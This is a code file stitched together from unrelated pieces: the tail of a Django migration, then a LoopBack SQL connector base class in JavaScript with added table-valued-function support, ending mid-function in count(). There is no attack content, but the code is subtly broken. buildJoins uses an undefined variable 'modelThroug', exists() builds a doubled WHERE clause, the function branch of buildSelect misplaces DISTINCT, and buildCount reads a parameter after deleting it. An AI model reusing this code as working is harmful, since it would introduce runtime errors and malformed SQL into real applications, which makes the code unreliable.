field=models.IntegerField(default=1),
preserve_default=False,
),
]
|
var util = require('util');
var async = require('async');
var assert = require('assert');
var Connector = require('./connector');
var debug = require('debug')('loopback:connector:sql');
var ParameterizedSQL = require('./parameterized-sql');
var Transaction = require('./transaction');
var assign = require('./utils').assign;
module.exports = SQLConnector;
/**
* Base class for connectors that connect to relational databases using SQL
* @class
*/
function SQLConnector() {
// Call the super constructor
Connector.apply(this, [].slice.call(arguments));
}
// Inherit from the base Connector
util.inherits(SQLConnector, Connector);
// Export ParameterizedSQL
SQLConnector.ParameterizedSQL = ParameterizedSQL;
// The generic placeholder
var PLACEHOLDER = SQLConnector.PLACEHOLDER = ParameterizedSQL.PLACEHOLDER;
SQLConnector.Transaction = Transaction;
/**
* Set the relational property to indicate the backend is a relational DB
* @type {boolean}
*/
SQLConnector.prototype.relational = true;
/**
* Invoke a prototype method on the super class
* @param {String} methodName Method name
*/
SQLConnector.prototype.invokeSuper = function(methodName) {
var args = [].slice.call(arguments, 1);
var superMethod = this.constructor.super_.prototype[methodName];
return superMethod.apply(this, args);
};
/**
* Get types associated with the connector
* Returns {String[]} The types for the connector
*/
SQLConnector.prototype.getTypes = function() {
return ['db', 'rdbms', 'sql'];
};
/**
* Get the default data type for ID
* @param prop Property definition
* Returns {Function}
*/
SQLConnector.prototype.getDefaultIdType = function(prop) {
return Number;
};
/**
* Get the default database schema name
* @returns {string} The default schema name, such as 'public' or 'dbo'
*/
SQLConnector.prototype.getDefaultSchemaName = function() {
return '';
};
/**
* Get the database schema name for the given model. The schema name can be
* customized at model settings or connector configuration level as `schema` or
* `schemaName`. For example,
*
* ```json
* "Customer": {
* "name": "Customer",
* "mysql": {
* "schema": "MYDB",
* "table": "CUSTOMER"
* }
* }
* ```
*
* @param {String} model The model name
* @returns {String} The database schema name
*/
SQLConnector.prototype.schema = function(model) {
// Check if there is a 'schema' property for connector
var dbMeta = this.getConnectorSpecificSettings(model);
var schemaName = (dbMeta && (dbMeta.schema || dbMeta.schemaName)) ||
(this.settings.schema || this.settings.schemaName) ||
this.getDefaultSchemaName();
return schemaName;
};
/**
* Get the table name for the given model. The table name can be customized
* at model settings as `table` or `tableName`. For example,
*
* ```json
* "Customer": {
* "name": "Customer",
* "mysql": {
* "table": "CUSTOMER"
* }
* }
* ```
*
* Returns the table name (String).
* @param {String} model The model name
*/
SQLConnector.prototype.table = function(model) {
var dbMeta = this.getConnectorSpecificSettings(model);
var tableName;
if (dbMeta) {
tableName = dbMeta.table || dbMeta.tableName;
if (tableName) {
// Explicit table name, return as-is
return tableName;
}
}
tableName = model;
if (typeof this.dbName === 'function') {
tableName = this.dbName(tableName);
}
return tableName;
};
/**
* Get the column name for the given model property. The column name can be
* customized at the model property definition level as `column` or
* `columnName`. For example,
*
* ```json
* "name": {
* "type": "string",
* "mysql": {
* "column": "NAME"
* }
* }
* ```
*
* @param {String} model The model name
* @param {String} property The property name
* @returns {String} The column name
*/
SQLConnector.prototype.column = function(model, property) {
var prop = this.getPropertyDefinition(model, property);
var columnName;
if (prop && prop[this.name]) {
columnName = prop[this.name].column || prop[this.name].columnName;
if (columnName) {
// Explicit column name, return as-is
return columnName;
}
}
columnName = property;
if (typeof this.dbName === 'function') {
columnName = this.dbName(columnName);
}
return columnName;
};
/**
* Get the column metadata for the given model property
* @param {String} model The model name
* @param {String} property The property name
* @returns {Object} The column metadata
*/
SQLConnector.prototype.columnMetadata = function(model, property) {
return this.getDataSource(model).columnMetadata(model, property);
};
/**
* Get the corresponding property name for the given column name
* @param {String} model The model name
* @param {String} column The column name
* @returns {String} The property name for a given column
*/
SQLConnector.prototype.propertyName = function(model, column) {
var props = this.getModelDefinition(model).properties;
for (var p in props) {
if (this.column(model, p) === column) {
return p;
}
}
return null;
};
/**
* Get the id column name
* @param {String} model The model name
* @returns {String} The id column name
*/
SQLConnector.prototype.idColumn = function(model) {
var name = this.getDataSource(model).idColumnName(model);
var dbName = this.dbName;
if (typeof dbName === 'function') {
name = dbName(name);
}
return name;
};
/**
* Get the escaped id column name
* @param {String} model The model name
* @returns {String} the escaped id column name
*/
SQLConnector.prototype.idColumnEscaped = function(model) {
return this.escapeName(this.idColumn(model));
};
/**
* Get the escaped table name
* @param {String} model The model name
* @returns {String} the escaped table name
*/
SQLConnector.prototype.tableEscaped = function(model) {
return this.escapeName(this.table(model));
};
/**
* Get the escaped column name for a given model property
* @param {String} model The model name
* @param {String} property The property name
* @returns {String} The escaped column name
*/
SQLConnector.prototype.columnEscaped = function(model, property) {
var dbMeta = this.getConnectorSpecificSettings(model);
var columnPrefix = dbMeta.function ? dbMeta.table : this.tableEscaped(model);
return columnPrefix + '.' + this.escapeName(this.column(model, property));
};
/*!
* Check if id value is set
* @param idValue
* @param cb
* @param returningNull
* @returns {boolean}
*/
function isIdValuePresent(idValue, cb, returningNull) {
try {
assert(idValue !== null && idValue !== undefined, 'id value is required');
return true;
} catch (err) {
process.nextTick(function() {
if (cb) cb(returningNull ? null : err);
});
return false;
}
}
/**
* Convert the id value to the form required by database column
* @param {String} model The model name
* @param {*} idValue The id property value
* @returns {*} The escaped id column value
*/
SQLConnector.prototype.idColumnValue = function(model, idValue) {
var idProp = this.getDataSource(model).idProperty(model);
if (typeof this.toColumnValue === 'function') {
return this.toColumnValue(idProp, idValue);
} else {
return idValue;
}
};
/**
* Replace `?` with connector specific placeholders. For example,
*
* ```
* {sql: 'SELECT * FROM CUSTOMER WHERE NAME=?', params: ['John']}
* ==>
* {sql: 'SELECT * FROM CUSTOMER WHERE NAME=:1', params: ['John']}
* ```
* *LIMITATION*: We don't handle the ? inside escaped values, for example,
* `SELECT * FROM CUSTOMER WHERE NAME='J?hn'` will not be parameterized
* correctly.
*
* @param {ParameterizedSQL|Object} ps Parameterized SQL
* @returns {ParameterizedSQL} Parameterized SQL with the connector specific
* placeholders
*/
SQLConnector.prototype.parameterize = function(ps) {
ps = new ParameterizedSQL(ps);
// The value is parameterized, for example
// {sql: 'to_point(?,?)', values: [1, 2]}
var parts = ps.sql.split(PLACEHOLDER);
var clause = [];
for (var j = 0, m = parts.length; j < m; j++) {
// Replace ? with the keyed placeholder, such as :5
clause.push(parts[j]);
if (j !== parts.length - 1) {
clause.push(this.getPlaceholderForValue(j + 1));
}
}
ps.sql = clause.join('');
return ps;
};
/**
* Build the the `INSERT INTO` statement
* @param {String} model The model name
* @param {Object} fields Fields to be inserted
* @param {Object} options Options object
* @returns {ParameterizedSQL}
*/
SQLConnector.prototype.buildInsertInto = function(model, fields, options) {
var stmt = new ParameterizedSQL('INSERT INTO ' + this.tableEscaped(model));
var columnNames = fields.names.join(',');
if (columnNames) {
stmt.merge('(' + columnNames + ')', '');
}
return stmt;
};
/**
* Build the clause to return id values after insert
* @param {String} model The model name
* @param {Object} data The model data object
* @param {Object} options Options object
* @returns {string}
*/
SQLConnector.prototype.buildInsertReturning = function(model, data, options) {
return '';
};
/**
* Build the clause for default values if the fields is empty
* @param {String} model The model name
* @param {Object} data The model data object
* @param {Object} options Options object
* @returns {string} 'DEFAULT VALUES'
*/
SQLConnector.prototype.buildInsertDefaultValues = function(model, data, options) {
return 'VALUES()';
};
/**
* Build INSERT SQL statement
* @param {String} model The model name
* @param {Object} data The model data object
* @param {Object} options The options object
* @returns {string} The INSERT SQL statement
*/
SQLConnector.prototype.buildInsert = function(model, data, options) {
var fields = this.buildFields(model, data);
var insertStmt = this.buildInsertInto(model, fields, options);
var columnValues = fields.columnValues;
var fieldNames = fields.names;
if (fieldNames.length) {
var values = ParameterizedSQL.join(columnValues, ',');
values.sql = 'VALUES(' + values.sql + ')';
insertStmt.merge(values);
} else {
insertStmt.merge(this.buildInsertDefaultValues(model, data, options));
}
var returning = this.buildInsertReturning(model, data, options);
if (returning) {
insertStmt.merge(returning);
}
return this.parameterize(insertStmt);
};
/**
* Execute a SQL statement with given parameters.
*
* @param {String} sql The SQL statement
* @param {*[]} [params] An array of parameter values
* @param {Object} [options] Options object
* @param {Function} [callback] The callback function
*/
SQLConnector.prototype.execute = function(sql, params, options, callback) {
assert(typeof sql === 'string', 'sql must be a string');
if (typeof params === 'function' && options === undefined &&
callback === undefined) {
// execute(sql, callback)
options = {};
callback = params;
params = [];
} else if (typeof options === 'function' && callback === undefined) {
// execute(sql, params, callback)
callback = options;
options = {};
}
params = params || [];
options = options || {};
assert(Array.isArray(params), 'params must be an array');
assert(typeof options === 'object', 'options must be an object');
assert(typeof callback === 'function', 'callback must be a function');
var self = this;
if (!this.dataSource.connected) {
return this.dataSource.once('connected', function() {
self.execute(sql, params, options, callback);
});
}
var context = {
req: {
sql: sql,
params: params
},
options: options
};
this.notifyObserversAround('execute', context, function(context, done) {
self.executeSQL(context.req.sql, context.req.params, context.options, function(err, info) {
if(err){
debug('Error: %j %j %j', err, context.req.sql, context.req.params);
}
if (!err && info != null) {
context.res = info;
}
// Don't pass more than one args as it will confuse async.waterfall
done(err, info);
});
}, callback);
};
/**
* Create the data model in MySQL
*
* @param {String} model The model name
* @param {Object} data The model instance data
* @param {Object} options Options object
* @param {Function} [callback] The callback function
*/
SQLConnector.prototype.create = function(model, data, options, callback) {
var self = this;
var stmt = this.buildInsert(model, data, options);
this.execute(stmt.sql, stmt.params, options, function(err, info) {
if (err) {
callback(err);
} else {
var insertedId = self.getInsertedId(model, info);
callback(err, insertedId);
}
});
};
/**
* Save the model instance into the database
* @param {String} model The model name
* @param {Object} data The model instance data
* @param {Object} options Options object
* @param {Function} cb The callback function
*/
SQLConnector.prototype.save = function(model, data, options, cb) {
var idName = this.idName(model);
var idValue = data[idName];
if (!isIdValuePresent(idValue, cb)) {
return;
}
var where = {};
where[idName] = idValue;
var updateStmt = new ParameterizedSQL('UPDATE ' + this.tableEscaped(model));
updateStmt.merge(this.buildFieldsForUpdate(model, data));
var whereStmt = this.buildWhere(model, where);
updateStmt.merge(whereStmt);
updateStmt = this.parameterize(updateStmt);
this.execute(updateStmt.sql, updateStmt.params, options,
function(err, result) {
if (cb) cb(err, result);
});
};
/**
* Check if a model instance exists for the given id value
* @param {String} model The model name
* @param {*} id The id value
* @param {Object} options Options object
* @param {Function} cb The callback function
*/
SQLConnector.prototype.exists = function(model, id, options, cb) {
if (!isIdValuePresent(id, cb, true)) {
return;
}
var idName = this.idName(model);
var where = {};
where[idName] = id;
var selectStmt = new ParameterizedSQL(
'SELECT 1 FROM ' + this.tableEscaped(model) +
' WHERE ' + this.idColumnEscaped(model)
);
selectStmt.merge(this.buildWhere(model, where));
selectStmt = this.applyPagination(model, selectStmt, {
limit: 1,
offset: 0,
order: [idName]
});
selectStmt = this.parameterize(selectStmt);
this.execute(selectStmt.sql, selectStmt.params, options, function(err, data) {
if (!cb) return;
if (err) {
cb(err);
} else {
cb(null, data.length >= 1);
}
});
};
/**
* ATM, this method is not used by loopback-datasource-juggler dao, which
* maps `destroy` to `destroyAll` with a `where` filter that includes the `id`
* instead.
*
* Delete a model instance by id value
* @param {String} model The model name
* @param {*} id The id value
* @param {Object} options Options object
* @param {Function} cb The callback function
* @private
*/
SQLConnector.prototype.destroy = function(model, id, options, cb) {
if (!isIdValuePresent(id, cb, true)) {
return;
}
var idName = this.idName(model);
var where = {};
where[idName] = id;
this.destroyAll(model, where, options, cb);
};
// Alias to `destroy`. Juggler checks `destroy` only.
Connector.defineAliases(SQLConnector.prototype, 'destroy',
['delete', 'deleteById', 'destroyById']);
/**
* Build the `DELETE FROM` SQL statement
* @param {String} model The model name
* @param {Object} where The where object
* @param {Object} options Options object
* @returns {ParameterizedSQL} The SQL DELETE FROM statement
*/
SQLConnector.prototype.buildDelete = function(model, where, options) {
var deleteStmt = new ParameterizedSQL('DELETE FROM ' +
this.tableEscaped(model));
deleteStmt.merge(this.buildWhere(model, where));
return this.parameterize(deleteStmt);
};
/**
* Delete all matching model instances
*
* @param {String} model The model name
* @param {Object} where The where object
* @param {Object} options The options object
* @param {Function} cb The callback function
*/
SQLConnector.prototype.destroyAll = function(model, where, options, cb) {
var self = this;
var stmt = this.buildDelete(model, where, options);
this.execute(stmt.sql, stmt.params, options, function(err, info) {
var affectedRows = self.getCountForAffectedRows(model, info);
if (cb) {
cb(err, {count: affectedRows});
}
});
};
// Alias to `destroyAll`. Juggler checks `destroyAll` only.
Connector.defineAliases(SQLConnector.prototype, 'destroyAll', ['deleteAll']);
/**
* ATM, this method is not used by loopback-datasource-juggler dao, which
* maps `updateAttributes` to `update` with a `where` filter that includes the
* `id` instead.
*
* Update attributes for a given model instance
* @param {String} model The model name
* @param {*} id The id value
* @param {Object} data The model data instance containing all properties to
* be updated
* @param {Object} options Options object
* @param {Function} cb The callback function
* @private
*/
SQLConnector.prototype.updateAttributes = function(model, id, data, options, cb) {
if (!isIdValuePresent(id, cb)) {
return;
}
var idName = this.idName(model);
delete data[idName];
var where = {};
where[idName] = id;
this.updateAll(model, where, data, options, cb);
};
/**
* Build the UPDATE statement
* @param {String} model The model name
* @param {Object} where The where object
* @param {Object} data The data to be changed
* @param {Object} options The options object
* @param {Function} cb The callback function
* @returns {ParameterizedSQL} The UPDATE SQL statement
*/
SQLConnector.prototype.buildUpdate = function(model, where, data, options) {
var fields = this.buildFieldsForUpdate(model, data);
var updateClause = new ParameterizedSQL('UPDATE ' + this.tableEscaped(model));
var whereClause = this.buildWhere(model, where);
updateClause.merge([fields, whereClause]);
return this.parameterize(updateClause);
};
/**
* Update all instances that match the where clause with the given data
* @param {String} model The model name
* @param {Object} where The where object
* @param {Object} data The property/value object representing changes
* to be made
* @param {Object} options The options object
* @param {Function} cb The callback function
*/
SQLConnector.prototype.update = function(model, where, data, options, cb) {
var self = this;
var stmt = this.buildUpdate(model, where, data, options);
this.execute(stmt.sql, stmt.params, options, function(err, info) {
var affectedRows = self.getCountForAffectedRows(model, info);
if (cb) {
cb(err, {count: affectedRows});
}
});
};
// Alias to `update`. Juggler checks `update` only.
Connector.defineAliases(SQLConnector.prototype, 'update', ['updateAll']);
/**
* Build the SQL WHERE clause for the where object
* @param {string} model Model name
* @param {object} where An object for the where conditions
* @returns {ParameterizedSQL} The SQL WHERE clause
*/
SQLConnector.prototype.buildWhere = function(model, where) {
var whereClause = this._buildWhere(model, where);
if (whereClause.sql) {
whereClause.sql = 'WHERE ' + whereClause.sql;
}
return whereClause;
};
/**
* Build SQL expression
* @param {String} columnName Escaped column name
* @param {String} operator SQL operator
* @param {*} columnValue Column value
* @param {*} propertyValue Property value
* @returns {ParameterizedSQL} The SQL expression
*/
SQLConnector.prototype.buildExpression = function(columnName, operator, columnValue, propertyValue) {
function buildClause(columnValue, separator, grouping) {
var values = [];
for (var i = 0, n = columnValue.length; i < n; i++) {
if (columnValue[i] instanceof ParameterizedSQL) {
values.push(columnValue[i]);
} else {
values.push(new ParameterizedSQL(PLACEHOLDER, [columnValue[i]]));
}
}
separator = separator || ',';
var clause = ParameterizedSQL.join(values, separator);
if (grouping) {
clause.sql = '(' + clause.sql + ')';
}
return clause;
}
var sqlExp = columnName;
var clause;
if (columnValue instanceof ParameterizedSQL) {
clause = columnValue;
} else {
clause = new ParameterizedSQL(PLACEHOLDER, [columnValue]);
}
switch (operator) {
case 'gt':
sqlExp += '>';
break;
case 'gte':
sqlExp += '>=';
break;
case 'lt':
sqlExp += '<';
break;
case 'lte':
sqlExp += '<=';
break;
case 'between':
sqlExp += ' BETWEEN ';
clause = buildClause(columnValue, ' AND ', false);
break;
case 'inq':
sqlExp += ' IN ';
clause = buildClause(columnValue, ',', true);
break;
case 'nin':
sqlExp += ' NOT IN ';
clause = buildClause(columnValue, ',', true);
break;
case 'neq':
if (columnValue == null) {
return new ParameterizedSQL(sqlExp + ' IS NOT NULL');
}
sqlExp += '!=';
break;
case 'like':
sqlExp += ' LIKE ';
break;
case 'nlike':
sqlExp += ' NOT LIKE ';
break;
// this case not needed since each database has its own regex syntax, but
// we leave the MySQL syntax here as a placeholder
case 'regexp':
sqlExp += ' REGEXP ';
break;
}
var stmt = ParameterizedSQL.join([sqlExp, clause], '');
return stmt;
};
/*!
* @param model
* @param where
* @returns {ParameterizedSQL}
* @private
*/
SQLConnector.prototype._buildWhere = function(model, where) {
if (!where) {
return new ParameterizedSQL('');
}
if (typeof where !== 'object' || Array.isArray(where)) {
debug('Invalid value for where: %j', where);
return new ParameterizedSQL('');
}
var self = this;
var modelDef = self.getModelDefinition(model);
var props = modelDef.properties;
var relations = modelDef.model.relations;
var whereStmts = [];
for (var key in where) {
var stmt = new ParameterizedSQL('', []);
if (relations && key in relations) {
// relationships are handled on joins
continue;
}
// Handle and/or operators
if (key === 'and' || key === 'or') {
var branches = [];
var branchParams = [];
var clauses = where[key];
if (Array.isArray(clauses)) {
for (var i = 0, n = clauses.length; i < n; i++) {
var stmtForClause = self._buildWhere(model, clauses[i]);
if (stmtForClause.sql) {
stmtForClause.sql = '(' + stmtForClause.sql + ')';
branchParams = branchParams.concat(stmtForClause.params);
branches.push(stmtForClause.sql);
}
}
stmt.merge({
sql: branches.join(' ' + key.toUpperCase() + ' '),
params: branchParams
});
whereStmts.push(stmt);
continue;
}
// The value is not an array, fall back to regular fields
}
var p = props[key];
if (p == null) {
// Unknown property, ignore it
debug('Unknown property %s is skipped for model %s', key, model);
continue;
}
var columnName = self.columnEscaped(model, key);
var expression = where[key];
var columnValue;
var sqlExp;
if (expression === null || expression === undefined) {
stmt.merge(columnName + ' IS NULL');
} else if (expression && expression.constructor === Object) {
var operator = Object.keys(expression)[0];
// Get the expression without the operator
expression = expression[operator];
if (operator === 'inq' || operator === 'nin' || operator === 'between') {
columnValue = [];
if (Array.isArray(expression)) {
// Column value is a list
for (var j = 0, m = expression.length; j < m; j++) {
columnValue.push(this.toColumnValue(p, expression[j]));
}
} else {
columnValue.push(this.toColumnValue(p, expression));
}
if (operator === 'between') {
// BETWEEN v1 AND v2
var v1 = columnValue[0] === undefined ? null : columnValue[0];
var v2 = columnValue[1] === undefined ? null : columnValue[1];
columnValue = [v1, v2];
} else {
// IN (v1,v2,v3) or NOT IN (v1,v2,v3)
if (columnValue.length === 0) {
if (operator === 'inq') {
columnValue = [null];
} else {
// nin () is true
continue;
}
}
}
} else if (operator === 'regexp' && expression instanceof RegExp) {
// do not coerce RegExp based on property definitions
columnValue = expression;
} else {
columnValue = this.toColumnValue(p, expression);
}
sqlExp = self.buildExpression(
columnName, operator, columnValue, p);
stmt.merge(sqlExp);
} else {
// The expression is the field value, not a condition
columnValue = self.toColumnValue(p, expression);
if (columnValue === null) {
stmt.merge(columnName + ' IS NULL');
} else {
if (columnValue instanceof ParameterizedSQL) {
stmt.merge(columnName + '=').merge(columnValue);
} else {
stmt.merge({
sql: columnName + '=?',
params: [columnValue]
});
}
}
}
whereStmts.push(stmt);
}
var params = [];
var sqls = [];
for (var k = 0, s = whereStmts.length; k < s; k++) {
sqls.push(whereStmts[k].sql);
params = params.concat(whereStmts[k].params);
}
var whereStmt = new ParameterizedSQL({
sql: sqls.join(' AND '),
params: params
});
return whereStmt;
};
/**
* Build the ORDER BY clause
* @param {string} model Model name
* @param {string[]} order An array of sorting criteria
* @returns {string} The ORDER BY clause
*/
SQLConnector.prototype.buildOrderBy = function(model, order) {
if (!order) {
return '';
}
var self = this;
if (typeof order === 'string') {
order = [order];
}
var clauses = [];
for (var i = 0, n = order.length; i < n; i++) {
var t = order[i].split(/[\s,]+/);
var colName;
if (t[0].indexOf('.') < 0) {
colName = self.columnEscaped(model, t[0]);
} else {
// Column name is in the format: relationName.columnName
var colSplit = t[0].split('.');
// Find the name of the relation's model ...
var modelDef = this.getModelDefinition(model);
var relation = modelDef.model.relations[colSplit[0]];
var colModel = relation.modelTo.definition.name;
// ... and escape them
colName = self.columnEscaped(colModel, colSplit[1]);
}
if (t.length === 1) {
clauses.push(colName);
} else {
clauses.push(colName + ' ' + t[1]);
}
}
return 'ORDER BY ' + clauses.join(',');
};
/**
* Build an array of fields for the database operation
* @param {String} model Model name
* @param {Object} data Model data object
* @param {Boolean} excludeIds Exclude id properties or not, default to false
* @returns {{names: Array, values: Array, properties: Array}}
*/
SQLConnector.prototype.buildFields = function(model, data, excludeIds) {
var fields = {
names: [], // field names
columnValues: [], // an array of ParameterizedSQL
properties: [] // model properties
};
var props = this.getModelDefinition(model).properties;
var keys = Object.keys(data);
for (var i = 0, n = keys.length; i < n; i++) {
var key = keys[i];
var p = props[key];
if (p == null) {
// Unknown property, ignore it
debug('Unknown property %s is skipped for model %s', key, model);
continue;
}
if (excludeIds && p.id) {
continue;
}
var k = this.columnEscaped(model, key);
var v = this.toColumnValue(p, data[key]);
if (v !== undefined) {
fields.names.push(k);
if (v instanceof ParameterizedSQL) {
fields.columnValues.push(v);
} else {
fields.columnValues.push(new ParameterizedSQL(PLACEHOLDER, [v]));
}
fields.properties.push(p);
}
}
return fields;
};
/**
* Build the SET clause for database update
* @param {String} model Model na
* @param {Object} data The model data object
* @param {Boolean} excludeIds Exclude id properties or not, default to true
* @returns {string} The list of fields for update
*/
SQLConnector.prototype.buildFieldsForUpdate = function(model, data, excludeIds) {
if (excludeIds === undefined) {
excludeIds = true;
}
var fields = this.buildFields(model, data, excludeIds);
var columns = new ParameterizedSQL('');
for (var i = 0, n = fields.names.length; i < n; i++) {
var clause = ParameterizedSQL.append(fields.names[i],
fields.columnValues[i], '=');
columns.merge(clause, ',');
}
columns.sql = 'SET ' + columns.sql;
return columns;
};
/**
* Build a list of escaped column names for the given model and fields filter
* @param {string} model Model name
* @param {object} filter The filter object
* @returns {string} Comma separated string of escaped column names
*/
SQLConnector.prototype.buildColumnNames = function(model, filter) {
var fieldsFilter = filter && filter.fields;
var cols = this.getModelDefinition(model).properties;
if (!cols) {
return '*';
}
var self = this;
var keys = Object.keys(cols);
if (Array.isArray(fieldsFilter) && fieldsFilter.length > 0) {
// Not empty array, including all the fields that are valid properties
keys = fieldsFilter.filter(function(f) {
return cols[f];
});
} else if ('object' === typeof fieldsFilter &&
Object.keys(fieldsFilter).length > 0) {
// { field1: boolean, field2: boolean ... }
var included = [];
var excluded = [];
keys.forEach(function(k) {
if (fieldsFilter[k]) {
included.push(k);
} else if ((k in fieldsFilter) && !fieldsFilter[k]) {
excluded.push(k);
}
});
if (included.length > 0) {
keys = included;
} else if (excluded.length > 0) {
excluded.forEach(function(e) {
var index = keys.indexOf(e);
keys.splice(index, 1);
});
}
}
var names = keys.map(function(c) {
return self.columnEscaped(model, c);
});
return names.join(',');
};
/**
* Build a SQL SELECT statement
* @param {String} model Model name
* @param {Object} filter Filter object
* @param {Object} options Options object
* @returns {ParameterizedSQL} Statement object {sql: ..., params: [...]}
*/
SQLConnector.prototype.buildSelect = function(model, filter, options) {
options = options || {};
if (!filter.order) {
var idNames = this.idNames(model);
if (idNames && idNames.length) {
filter.order = idNames;
}
}
var haveRelationFilters = false;
if (filter.where) {
var relations = this.getModelDefinition(model).model.relations;
if (relations) {
for (var key in filter.where) {
if (key in relations) {
haveRelationFilters = true;
break;
}
}
}
}
var distinct = haveRelationFilters ? 'DISTINCT ' : '';
// TVF support
var dbMeta = this.getConnectorSpecificSettings(model);
var selectStmt = (dbMeta.function) ?
new ParameterizedSQL({
sql: 'SELECT ' +
this.buildColumnNames(model, filter) + distinct +
' FROM ' + dbMeta.function + ' AS ' + dbMeta.table,
params: [filter.functionParam]
})
:
new ParameterizedSQL('SELECT ' + distinct +
this.buildColumnNames(model, filter) +
' FROM ' + this.tableEscaped(model)
);
if (haveRelationFilters) {
var joinsStmts = this.buildJoins(model, filter.where);
selectStmt.merge(joinsStmts);
}
if (filter) {
if (filter.where) {
var whereStmt = this.buildWhere(model, filter.where);
selectStmt.merge(whereStmt);
}
if (options.skipOrderBy !== true && filter.order) {
selectStmt.merge(this.buildOrderBy(model, filter.order));
}
if (filter.limit || filter.skip || filter.offset) {
selectStmt = this.applyPagination(
model, selectStmt, filter);
}
}
if (options.skipParameterize === true) {
return selectStmt;
}
return this.parameterize(selectStmt);
};
/**
* Build the SQL INNER JOIN clauses
* @param {string} model Model name
* @param {object} where An object for the where conditions
* @returns {ParameterizedSQL} The SQL INNER JOIN clauses
*/
SQLConnector.prototype.buildJoins = function(model, where) {
var modelDef = this.getModelDefinition(model);
var relations = modelDef.model.relations;
var stmt = new ParameterizedSQL('', []);
var buildOneToMany = function buildOneToMany(relName, modelFrom, keyFrom, modelTo, keyTo, filter) {
var modelToEscaped = this.tableEscaped(modelTo);
var relNameEscaped = this.escapeName(relName);
var innerFilter = assign({}, filter);
var innerIdField = {};
innerIdField[keyTo] = true;
innerFilter.fields = assign({}, innerFilter.fields, innerIdField);
innerFilter.order = null;
var condition = this.columnEscaped(modelFrom, keyFrom) + '=' +
relNameEscaped + '.' + this.escapeName(this.column(modelTo, keyTo));
var innerSelect = this.buildSelect(modelTo, innerFilter, {
skipParameterize: true,
skipOrderBy: true
});
return new ParameterizedSQL('INNER JOIN (', [])
.merge(innerSelect)
.merge(') AS ' + relNameEscaped)
.merge('ON ' + condition);
}.bind(this);
for (var key in where) {
if (!(key in relations)) continue;
var rel = relations[key];
var keyFrom = rel.keyFrom;
var modelTo = rel.modelTo.definition.name;
var keyTo = rel.keyTo;
var join;
if (!rel.modelThrough) {
// 1:n relation
join = buildOneToMany(key, model, keyFrom, modelTo, keyTo, where[key]);
} else {
// n:m relation
var modelThrough = rel.modelThrough.definition.name;
var keyThrough = rel.keyThrough;
var modelToKey = rel.modelTo.definition._ids[0].name;
var innerFilter = {fields: {}};
innerFilter.fields[keyThrough] = true;
var joinInner = buildOneToMany(key, model, keyFrom, modelThrough, keyTo, innerFilter);
join = buildOneToMany(key + '_' + modelThroug, modelThrough, keyThrough, modelTo, modelToKey, where[key]);
join = joinInner.merge(join);
}
stmt.merge(join);
}
return stmt;
};
/**
* Transform the row data into a model data object
* @param {string} model Model name
* @param {object} rowData An object representing the row data from DB
* @returns {object} Model data object
*/
SQLConnector.prototype.fromRow = SQLConnector.prototype.fromDatabase = function(model, rowData) {
if (rowData == null) {
return rowData;
}
var props = this.getModelDefinition(model).properties;
var data = {};
for (var p in props) {
var columnName = this.column(model, p);
// Load properties from the row
var columnValue = this.fromColumnValue(props[p], rowData[columnName]);
if (columnValue !== undefined) {
data[p] = columnValue;
}
}
return data;
};
/**
* Find matching model instances by the filter
*
* Please also note the name `all` is confusing. `Model.find` is to find all
* matching instances while `Model.findById` is to find an instance by id. On
* the other hand, `Connector.prototype.all` implements `Model.find` while
* `Connector.prototype.find` implements `Model.findById` due to the `bad`
* naming convention we inherited from juggling-db.
*
* @param {String} model The model name
* @param {Object} filter The filter
* @param {Function} [cb] The cb function
*/
SQLConnector.prototype.all = function find(model, filter, options, cb) {
var self = this;
// Order by id if no order is specified
filter = filter || {};
var stmt = this.buildSelect(model, filter, options);
this.execute(stmt.sql, stmt.params, options, function(err, data) {
if (err) {
return cb(err, []);
}
var objs = data.map(function(obj) {
return self.fromRow(model, obj);
});
if (filter && filter.include) {
self.getModelDefinition(model).model.include(
objs, filter.include, options, cb);
} else {
cb(null, objs);
}
});
};
// Alias to `all`. Juggler checks `all` only.
Connector.defineAliases(SQLConnector.prototype, 'all', ['findAll']);
/**
* ATM, this method is not used by loopback-datasource-juggler dao, which
* maps `findById` to `find` with a `where` filter that includes the `id`
* instead.
*
* Please also note the name `find` is confusing. `Model.find` is to find all
* matching instances while `Model.findById` is to find an instance by id. On
* the other hand, `Connector.prototype.find` is for `findById` and
* `Connector.prototype.all` is for `find` due the `bad` convention used by
* juggling-db.
*
* Find by id
* @param {String} model The Model name
* @param {*} id The id value
* @param {Object} options The options object
* @param {Function} cb The callback function
* @private
*/
SQLConnector.prototype.find = function(model, id, options, cb) {
if (id == null) {
process.nextTick(function() {
var err = new Error('id value is required');
if (cb) {
cb(err);
}
});
return;
}
var where = {};
var idName = this.idName(model);
where[idName] = id;
var filter = {limit: 1, offset: 0, order: idName, where: where};
return this.all(model, filter, options, function(err, results) {
cb(err, (results && results[0]) || null);
});
};
// Alias to `find`. Juggler checks `findById` only.
Connector.defineAliases(SQLConnector.prototype, 'find', ['findById']);
/**
* Build a SQL SELECT statement to count rows
* @param {String} model Model name
* @param {Object} where Where object
* @param {Object} options Options object
* @returns {ParameterizedSQL} Statement object {sql: ..., params: [...]}
*/
SQLConnector.prototype.buildCount = function(model, where, options) {
// TVF support
var dbMeta = this.getConnectorSpecificSettings(model);
var functionParam = null;
if (dbMeta.function) {
// Extract the TVF function parameters and then delete them from the where clause
functionParam = where.functionParam;
delete where.functionParam;
}
var haveRelationFilters = false;
if (where) {
var relations = this.getModelDefinition(model).model.relations;
if (relations) {
for (var key in where) {
if (key in relations) {
haveRelationFilters = true;
break;
}
}
}
}
var count = 'count(*)';
if (haveRelationFilters) {
var idColumn = this.columnEscaped(model, this.idColumn(model));
count = 'count(DISTINCT ' + idColumn + ')';
}
// TVF support
var stmt = (dbMeta.function) ?
new ParameterizedSQL({ sql: 'SELECT ' + count + ' as "cnt" FROM ' + dbMeta.function + ' AS ' + dbMeta.table, params: [where.functionParam]})
:
new ParameterizedSQL('SELECT ' + count + ' as "cnt" FROM ' + this.tableEscaped(model))
if (haveRelationFilters) {
var joinsStmts = this.buildJoins(model, where);
stmt = stmt.merge(joinsStmts);
}
stmt = stmt.merge(this.buildWhere(model, where));
return this.parameterize(stmt);
};
/**
* Count all model instances by the where filter
*
* @param {String} model The model name
* @param {Object} where The where object
* @param {Object} options The options object
* @param {Function} cb The callback function
*/
SQLConnector.prototype.count = function(model, where, options, cb) {
if (typeof where === 'function') {
// Backward compatibility for 1.x style signature:
// count(model, cb, where)
var tmp = options;
cb = where;
where = tmp;
}
var stmt = this.buildCount(model, where, options);
this.execute(stmt.sql, stmt.params,
function(err, res) {
if (err) {
return cb(err);
}
